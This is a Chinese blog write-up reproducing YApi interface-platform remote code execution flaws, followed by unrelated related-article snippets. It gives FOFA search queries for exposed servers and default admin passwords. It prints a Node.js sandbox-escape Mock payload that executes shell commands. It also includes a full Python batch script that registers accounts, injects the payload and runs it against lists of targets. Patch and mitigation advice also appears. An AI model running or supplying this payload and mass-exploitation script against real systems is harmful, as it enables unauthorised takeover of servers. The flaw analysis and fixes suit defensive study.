【漏洞复现】Yapi接口管理平台RCE漏洞汇总

news2024/12/1 0:41:51

文章目录

  • 前言
  • YApi接口管理平台远程代码执行漏洞
    • 一、漏洞描述
    • 二、影响版本
    • 三、FOFA语句
    • 四、漏洞复现
    • 五、修复建议
  • YApi NoSQL注入导致远程命令执行漏洞
    • 一、YApi介绍
    • 二、漏洞描述
    • 三、漏洞分析
    • 四、漏洞详情
    • 五、影响版本
    • 六、漏洞复现
    • 七、修复建议


前言

本篇文章主要归纳总结YApi各版本所存在的漏洞,文章中涉及攻击手法切勿用于非授权下的渗透攻击行为,造成任何后果与本文作者无关,切记!!!


YApi接口管理平台远程代码执行漏洞

一、漏洞描述

YApi是一个可本地部署的、打通前后端及OA的、可视化的接口管理平台。2021年7月7日互联网上披露YApi管理平台任意命令执行漏洞。若YApi对外开放注册功能,攻击者可在注册并登录后,通过构造特殊的请求执行任意代码,接管服务器。


二、影响版本

YApi <= 1.9.2

三、FOFA语句

icon_hash= "-715193973"
app="YApi"

四、漏洞复现

docker搭建:https://github.com/fjc0k/docker-YApi

git clone https://github.com/fjc0k/docker-YApi
cd docker-YApi
vim docker-compose.yml 
docker-compose up -d

docker-compose.yml 修改为存在漏洞版本,这里使用的是Yapi 版本:1.9.2
在这里插入图片描述
启动环境
在这里插入图片描述
本地访问网站 http://X.X.X.X:40001
在这里插入图片描述
该版本漏洞点为 “登录/注册” 可使用默认账号密码(前提账号密码没有更改过),我们常用的默认账号密码口令如下:

admin@admin.com:ymfe.org 
admin@docker.yapi:adm1n

登录之后,点击添加项目并创建项目
在这里插入图片描述
添加接口
在这里插入图片描述
创建好接口后进入界面点击 “高级Mock” 添加一下代码命令并进行保存,再次点击预览访问Mock地址可查看执行结果。

const sandbox = this 
const ObjectConstructor = this.constructor 
const FunctionConstructor = ObjectConstructor.constructor 
const myfun = FunctionConstructor('return process') 
const process = myfun() 
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

在这里插入图片描述
在这里插入图片描述
命令被成功执行!!!

POC:github: https://github.com/j2ekim/YApi_exp
在这里插入图片描述
在这里插入图片描述
批量检测YApi <=1.9.2 脚本

import requests
import urllib3
import json
import argparse

parser = argparse.ArgumentParser(description="请输入目标地址")
parser.add_argument('-u',type=str,help='请输入url',dest='url',default='')
parser.add_argument('-f',type=str,help='请插入字典',dest='file',default='')
args = parser.parse_args()
Get_url = args.url
Get_file = args.file

def poc_1(get_url):
    if(get_url[-1]=='/'):
        get_url=get_url[:-1]
        print(get_url)
    Reg_url=get_url+"/api/user/reg"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'******',
        'username':'Guatest'
    }
    try:
        urllib3.disable_warnings()
        Reg_res=requests.post(url=Reg_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        if Reg_res.json()['errcode']==0:
            poc_2(get_url)
        else:
            print(get_url+"  "+Reg_res.text)
    except Exception as e:
        print(get_url+"  poc_1  请求出错")

def poc_2(get_url):
    Login_url=get_url+"/api/user/login"
    headers = {
        'Content-Type': 'application/json',
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
    }
    data={
        'email':'gua@qq.com',
        'password':'******'
    }
    try:
        Login_res=requests.post(url=Login_url,headers=headers,data=json.dumps(data),verify=False,timeout=20)
        Login_cookie=Login_res.headers['Set-Cookie'].split(';')[0]+";_yapi_uid="+str(Login_res.json()['data']['uid'])
        if Login_res.json()['errcode']==0:
            poc_3(get_url,Login_cookie)
        else:
            print("登陆失败")
    except Exception as e:
        print(get_url+"  poc_2  请求出错")

def poc_3(get_url,Login_cookie):
    headers={
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie':Login_cookie
    }
    Get_id_url=get_url+"/api/group/list"
    try:
        Get_id_res=requests.get(url=Get_id_url,headers=headers,verify=False,timeout=10)
        G_id=str(Get_id_res.json()['data'][0]['_id'])
        if Get_id_res.json()['errcode']==0:
            poc_4(get_url,G_id,Login_cookie)
        else:
            print("获取group_id失败")
    except Exception as e:
        print(get_url+"  poc_3  请求出错")
def poc_4(get_url,G_id,Login_cookie):
    NewProjecet_url=get_url+"/api/project/add"
    data={
        'name':'tes',
        'basepath':'',
        'group_id':G_id,
        'icon':'code-o',
        'color':'blue',
        'project_type':'private'
    }
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        NewProjecet_res=requests.post(url=NewProjecet_url,headers=headers,data=json.dumps(data),verify=False,timeout=10)
        get_id=str(NewProjecet_res.json()['data']['_id'])
        if NewProjecet_res.json()['errcode']==0:
            poc_5(get_url,Login_cookie,get_id)
        else:
            print('创建目录失败失败')
    except Exception as e:
        print(get_url+"  poc_4  请求出错")
def poc_5(get_url,Login_cookie,get_id):
    Mock_url=get_url+'/api/project/up'
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'id':get_id,
        'project_mock_script':"const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()",
        'is_mock_open':True
    }
    try:
        Mock_res=requests.post(url=Mock_url,headers=headers,verify=False,data=json.dumps(data),timeout=10)
        if Mock_res.json()['errcode']==0:
            poc_6(get_url, Login_cookie, get_id)
        else:
            print("mock创建失败")
    except Exception as e:
        print(get_url+"  poc_5   请求出错")
def poc_6(get_url,Login_cookie,get_id):
    Cat_id_url=get_url+"/api/interface/list_menu?project_id="+str(get_id)
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    try:
        Cat_id_res=requests.get(url=Cat_id_url,headers=headers,verify=False,timeout=10)
        Catid=Cat_id_res.json()['data'][0]['_id']
        poc_7(get_url,Login_cookie,get_id,Catid)
    except Exception as e:
        print(get_url+"  poc_6请求出错")
def poc_7(get_url,Login_cookie,get_id,Catid):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    data={
        'method':'GET',
        'catid':Catid,
        'title':'guatest',
        'path':'/guatest',
        'project_id':get_id
    }
    port_add_url=get_url+"/api/interface/add"
    try:
        port_add_res=requests.post(url=port_add_url,data=json.dumps(data),headers=headers,verify=False,timeout=10)
        if port_add_res.json()['errcode']==0:
            poc_8(get_url,Login_cookie,get_id)
        else:
            print("接口创建失败")
    except Exception as e:
        print(get_url+"  poc_7   请求出错")
def poc_8(get_url,Login_cookie,get_id):
    headers = {
        'Content-Type': 'application/json',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36',
        'Cookie': Login_cookie
    }
    vuln_url=get_url+"/mock/"+str(get_id)+'/guatest'
    try:
        vuln_res=requests.get(url=vuln_url,headers=headers,verify=False,timeout=10)
        print(vuln_url+'  '+vuln_res.text)
        with open('success.txt', 'a+', encoding="utf-8") as s:
            s.write(get_url + '   '+vuln_res.text+'\n')
    except Exception as e:
        print(get_url+"  poc_8   请求出错",e)
def file():
    with open(args.file,'r+',encoding='utf-8') as f:
        for i in f.readlines():
            s = i.strip()
            if 'http://' in s:
                poc_1(s)
            else:
                exp1 = 'http://'+s
                poc_1(exp1)
if __name__ == '__main__':
    try:
        if Get_url != '' and Get_file == '':
            if 'http://' in Get_url:
                poc_1(Get_url)
            else:
                exp2 = 'http://' + Get_url
                poc_1(exp2)
        elif Get_url == '' and Get_file != '':
            file()
    except KeyboardInterrupt:
        print("结束进程。。。。")
        pass

五、修复建议

1、 更新至最新版本:1.12.0
2、 利用安全安全组设置Yapi仅对可信地址开放。
3、 编辑Yapi目录下的 config.json 文件,设置 closeRegister 为 true,关闭Yapi的前台注册功能。

{
  "closeRegister":true
}

YApi NoSQL注入导致远程命令执行漏洞

YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。

一、YApi介绍

YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

github地址:https://github.com/YMFE/yapi/tree/master

二、漏洞描述

YApi 是一个支持本地部署的可视化接口管理平台。YApi 在 1.12.0 之前的版本(目前所有版本)中由于 base.js 没有正确对 token 参数进行正确过滤,导致存在远程代码执行漏洞。攻击者可通过MongoDB注入获取用户 token,其中包括用户ID、项目ID等参数。yapi后台的pre-request和pre-response方法存在缺陷点,通过注入调用自动化测试接口runAutoTest(),进而利用沙箱逃逸触发命令执行。

三、漏洞分析

参考链接(漏洞细节):https://paper.seebug.org/2028/
MongoDB特性注入:https://www.anquanke.com/post/id/250101#h3-4

四、漏洞详情

https://github.com/vulhub/vulhub/blob/master/yapi/mongodb-inj/README.zh-cn.md

五、影响版本

YApi < 1.12.0

六、漏洞复现

docker 搭建 : https://github.com/fjc0k/docker-YApi

git clone https://github.com/fjc0k/docker-YApi
cd docker-YApi
vim docker-compose.yml 
docker-compose up -d

docker-compose.yml 修改为存在漏洞版本,这里使用的是Yapi 版本: 1.10.2
在这里插入图片描述使用 docker ps 查看环境搭建成功
在这里插入图片描述
本地访问网站:http://X.X.X.X:40001 默认账密如下:admin@admin.com:ymfe.org / admin@docker.yapi:adm1n

POC:https://github.com/vulhub/vulhub/blob/master/yapi/mongodb-inj/poc.py

测试结果
在这里插入图片描述

七、修复建议

一、版本升级

目前官方已有可更新版本,建议受影响用户更新至 1.12.0 及以上版本。
https://github.com/YMFE/yapi/releases/tag/v1.12.0
注:

  1. YApi 1.11.0版本已修复Mongo注入获取Token的问题,导致攻击者无法在未授权的情况下利用此漏洞。
  2. 在YApi 1.12.0的版本更新中,仅默认禁用了Pre-request和Pre-response脚本功能,使得此漏洞在默认配置下无法利用。

二、缓解措施

  1. 在业务允许的情况下,建议将YApi部署在内网,禁止外网访问。

  2. 修改默认token加密的盐:
    编辑项目根目录中的config.json,添加"passsalt":“任意随机值”,如:

    {

    “passsalt”:“this_is_a_test”

    }

保存,重启YApi服务即可。

文章到这里就结束了,后续出现新型漏洞内容再继续补充,感谢观看!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/152157.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

南邮数据结构

md文档网址&#xff1a;https://gitee.com/infiniteStars/wang-dao-408-notes/blob/master/408/数据结构.md 1 绪论 1.1算法的基本概念 程序与算法的区别和联系 联系&#xff1a;程序是计算机指令的有序集合&#xff0c;是算法用某种程序设计语言的表述&#xff0c;是算法在…

2023年如何搭建最小可行性的产品文档/产品手册?

在推出并击败竞争对手进入市场的竞赛中&#xff0c;很容易将“不必要的”任务&#xff08;如文档&#xff09;放在次要位置。但根据 Write the Docs 纪录片社区的说法&#xff0c;文档应该既是先导性的&#xff0c;也是参与性的。这意味着您应该在开始开发之前开始记录&#xf…

吊打高斯模糊的stackBlur加入OpenCV

stackBlur介绍 stackBlur 最近才加入到OpenCV中&#xff0c;将在下一个Relase版本&#xff08;4.7&#xff09;中出现。C用户可以尝试从源码编译OpenCV体验一下。Python 用户可以尝试用pip安装rolling版本的OpenCV&#xff1a; pip install opencv-python-rolling4.6.0.202210…

新手教程 | 常见的爬虫类型有哪些?

程序猿圈流传着一个神话级别的事&#xff1a;全公司仅靠1个人&#xff0c;每年就能转上1400多万美元。听起来天方夜谭一样&#xff0c;那他是如何做到的呢&#xff1f;看报道就会发现&#xff0c;他利用的是爬虫技术。 随着互联网的发展&#xff0c;从海量的互联网数据中&…

不可错过,Java程序员必备珍藏书单

不要因为迷茫&#xff0c;而停止了脚下的路。给大家推荐一份Java程序员必看的书单&#xff0c;豆瓣评分都挺不错的&#xff0c;往下看&#xff01; 一、Java 基础篇书单 《Java编程思想》&#xff1a;从Java的基础语法到最高级特性&#xff08;深入的面向对象概念、多线程、自…

煤矿智能化相关50项团体标准征求意见

智能化煤矿总体架构 原文地址&#xff1a;https://chinacs.scimall.org.cn/a3651.html 由煤矿智能化创新联盟等单位提出&#xff0c;中国煤炭学会归口&#xff0c;中煤科工集团常州研究院有限公司等单位起草的《煤矿通信接口与协议通用技术要求》50项团体标准已完成征求意见稿的…

用 Python 脚本实现电脑唤醒后自动拍照 截屏并发邮件通知

背景 背景是这样的, 我的家里台式机常年 休眠, 并配置了 Wake On Lan (WOL) 方便远程唤醒并使用. 但是我发现, 偶尔台式机会被其他情况唤醒, 这时候我并不知道, 结果白白运行了好几天, 浪费了很多电. 所以我的需求是这样的: &#x1f914; 电脑唤醒后(可能是开机, 有可能是…

3款电脑必装软件,功能强大且免费,打死也舍不得卸载

闲话不多说&#xff0c;直接上狠货。 1、FlowUs息流 FlowUs息流是一款知识管理与协作平台&#xff0c;以云端笔记为载体&#xff0c;配合在线文档、知识库、文件夹等多形态功能&#xff0c;支持免费使用&#xff0c;极大提高个人与团队工作效率。支持多端同步使用&#xff0c;无…

STL空间配置器框架分析

目录 一、空间配置器概念 二、空间配置器的作用 三、内存池技术 四、空间配置器的实现原理 3.1 流程概述 3.2 一级空间配置器 3.3 二级空间配置器 3.3.1 二级空间配置器设计 3.3.2 内存碎片问题 一、空间配置器概念 即为各个容器高效的管理空间(空间的申请与回收)的。…

聊一聊双亲委派模式

前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 说起双亲委派模型&#xff0c;不得不说一下类加载器。 类加载器是什么&#xff1f; 当我们编译Java类时&#xff0c;JVM会创建与平台和…

Allegro174版本新功能介绍之移动画布不闪屏设置

Allegro174版本新功能介绍之移动画布不闪屏设置 Allegro在升级到174版本后,在移动画布的时候,视图数据量比较大的情况,会出现闪屏现象 Allegro在切换到Open GL模式下,这个现象会有所缓解,具体操作如下 选择Setup选择User-preferences

【Ansible】ansible 基础知识

ansible 文章目录ansible一、ansible Ad-Hoc 命令1.命令格式2.模块类型3.联机帮助4.常用模块4.1 command & shell 模块4.2 script 模块4.3 copy 模块4.4 yum_repository4.5 yum 模块4.6 systemd 模块4.7 group 模块4.8 user 模块4.9 file 模块4.10 cron 模块4.11 template …

SIE高级副总裁:关于PS VR2定价、设计、内容的思考

2023年2月22日&#xff0c;索尼将正式推出次世代头显PS VR2&#xff0c;首发VR游戏将超过30款&#xff0c;其中包括热门游戏《GT赛车7 VR》。此外&#xff0c;PS5全球销量也已突破3000万。实际上距离索尼推出上一代PS VR&#xff0c;已经过去了6年时间&#xff0c;相比于Quest等…

M12269 支持PD3.1等快充协议、140W升降压3-8节多串锂电充放电移动电源管理IC

引言 在快充技术持续迭代升级的过程中&#xff0c;充电从小功率向中大功率的转变是最为明显的。支持的快充功率从最初的7.5W&#xff0c;已经向最高240W迈进。PD3.1协议的推出&#xff0c;进一步助力快充加速走向中大功率。新增三种固定电压档&#xff1a;28V&#xff08;100-1…

VS1053 MP3模块介绍

VS1053MP3模块简介ATK-VS1053 MP3 MODULE是ALIENTEK推出的一款高性能音频编解码模块&#xff0c;该模块采用VS1053B作为主芯片&#xff0c;支持&#xff1a;MP3/WMA/OGG/WAV/FLAC/MIDI/AAC等音频格式的解码&#xff0c;并支持&#xff1a;OGG/WAV音频格式的录音&#xff0c;支持…

Mask RCNN网络源码解读(Ⅱ) --- ResNet、ResNeXt网络结构、BN及迁移学习

目录 1.ResNet简介 2.residual结构和ResNet-34详解 2.1 residual结构 2.2 Batch Normalization 3.迁移学习 4.ResNeXt网络结构 1.ResNet简介 ResNet在2015年由微软实验室提出&#xff0c;斩获当年lmageNet竞赛中分类任务第一名&#xff0c;目标检测第一名。获得coco数据…

信道模型:Rayleigh、Rician、卫星→地面

这里写目录标题比较C. Loo模型&#xff1a;直射阴影&#xff0c;多径不阴影Corazza模型&#xff1a;直射和多径都阴影Lutz模型&#xff1a;好坏2个状态Rayleigh and Rician 信道生成Shadowed-Rician 直射径 散射径[Secure Transmission in Cognitive Satellite Terrestrial Net…

Redis的String类型,原来这么占内存

Redis的String类型&#xff0c;原来这么占内存 存一个 Long 类型这么占内存&#xff0c;Redis 的内存开销都花在哪儿了&#xff1f; 1、场景介绍 假设现在我们要开发一个图片存储系统&#xff0c;要求这个系统能够根据图片 ID 快速查找到图片存储对象 ID。图片 ID 和图片存储对…

【Flink基础】-- 源码中的注解

1.Flink自定义注解级别在升级 Flink版本至 1.15.3时&#xff0c;偶然遇到了一个异常&#xff0c;然后就准备详细了解下源码中的注解。设计注解的初衷&#xff1a;为了更好地进行代码和版本管理&#xff0c;Flink使用了Java的注解特性自定义了注解&#xff0c;对代码进行增强说明…

Kubernetes安全扫描之kubescape

一 背景 Kubescape 是第一个用于测试 Kubernetes 是否按照 NSA 和 CISA 的 Kubernetes 强化指南中定义的安全部署的工具 使用 Kubescape 测试集群或扫描单个 YAML 文件并将其集成到您的流程中。 二 特性 功能&#xff1a;提供多云 K8s 集群检测&#xff0c;包括风险分析、安…